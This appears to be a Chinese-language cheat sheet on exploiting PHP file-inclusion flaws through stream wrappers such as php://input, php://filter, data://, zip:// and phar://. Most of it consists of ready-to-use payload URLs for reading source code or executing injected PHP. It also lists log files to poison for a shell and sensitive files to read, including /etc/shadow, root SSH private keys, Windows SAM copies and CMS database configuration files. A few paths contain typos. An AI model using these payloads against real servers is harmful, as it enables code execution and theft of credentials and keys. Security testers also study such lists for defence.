file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
php.ini 参数设置 在 php.ini 里有两个重要的参数 allow_url_fopen、allow_url_include。 allow_url_fopen:默认值是 ON。允许 url 里的封装协议访问文件;
allow_url_include:默认值是 OFF。不允许包含 url 里的封装协议包含文件;
各协议的利用条件和方法:
1.php://input
php://input 可以访问请求的原始数据的只读流,将 post 请求的数据当作 php 代码 执行。当传入的参数作为文件名打开时,可以将参数设为 php://input,同时 post 想设置的文件内容,php 执行时会将 post 内容当作文件内容。 注:当 enctype="multipart/form-data",php://input 是无效的。 php.ini 条件是 allow_url_fopen =ON allow_url_include=ON
设置请求为 post 请求 在正文输入 php 代码提交即可允许
2. file:// 访问本地文件
在本地包含漏洞里可以使用 file 协议,使用 file 协议可以读取本地文件
flie://../../../../..//etc/passwd
读取相对路径文件
http://192.168.1.102/lfi.php?file=./01/php.ini
3. php://
php:// 用于访问各个输入/输出流(I/O streams),经常使用的是 php://filter 和 php://input php://filter 用于读取源码 php://input 用于执行 php 代码。
php://filter 参数详解
可用的过滤器列表(4 类)
使用协议读取文件源码 php://filter/read=convert.base64-encode/resource=/etc/passwd
然后进行base64解码:
4.phar://、zip://、bzip2://、zlib://
用于读取压缩文件,zip:// 、 bzip2:// 、 zlib:// 均属于压缩流,可以访问压缩文 件中的子文件,更重要的是不需要指定后缀名,可修改为任意后缀:jpg png gif xxx 等等。
1、zip://[压缩文件绝对路径]%23[压缩文件内的子文件名](#编码为%23) http://127.0.0.1/include.php?file=zip://E:\phpStudy\PHPTutorial\WWW\phpinfo.jpg %23phpinfo.txt
2、compress.bzip2://file.bz2 http://127.0.0.1/include.php?file=compress.bzip2://D:/soft/phpStudy/WWW/file.jpg http://127.0.0.1/include.php?file=compress.bzip2://./file.jpg
3、compress.zlib://file.gz http://127.0.0.1/include.php?file=compress.zlib://D:/soft/phpStudy/WWW/file.jpg http://127.0.0.1/include.php?file=compress.zlib://./file.jpg
4、phar:// http://127.0.0.1/include.php?file=phar://E:/phpStudy/PHPTutorial/WWW/phpinfo.zip/ phpinfo.txt
5.data:// 协议
1、data://text/plain, http://127.0.0.1/include.php?file=data://text/plain,
2、data://text/plain;base64, http://127.0.0.1/include.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbyg pOz8%2b
6.文件包含常用路径
6.1包含日志文件 getshell
/usr/local/apache2/logs/access_log
/logs/access_log
/etc/httpd/logs/access_log
/var/log/httpd/access_log
6.2读取网站配置文件
dedecms 数据库配置文件 data/common.inc.php,
discuz 全局配置文件 config/config_global.php,
phpcms 配置文件 caches/configs/database.php
phpwind 配置文件 conf/database.php
wordpress 配置文件 wp-config.php
6.3包含系统配置文件
windows
C:/boot.ini//查看系统版本
C:/Windows/System32/inetsrv/MetaBase.xml//IIS 配置文件
C:/Windows/repairsam//存储系统初次安装的密码
C:/Program Files/mysql/my.ini//Mysql 配置
C:/Program Files/mysql/data/mysql/user.MYD//Mysql root
C:/Windows/php.ini//php 配置信息
C:/Windows/my.ini//Mysql 配置信息
6.4linux
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz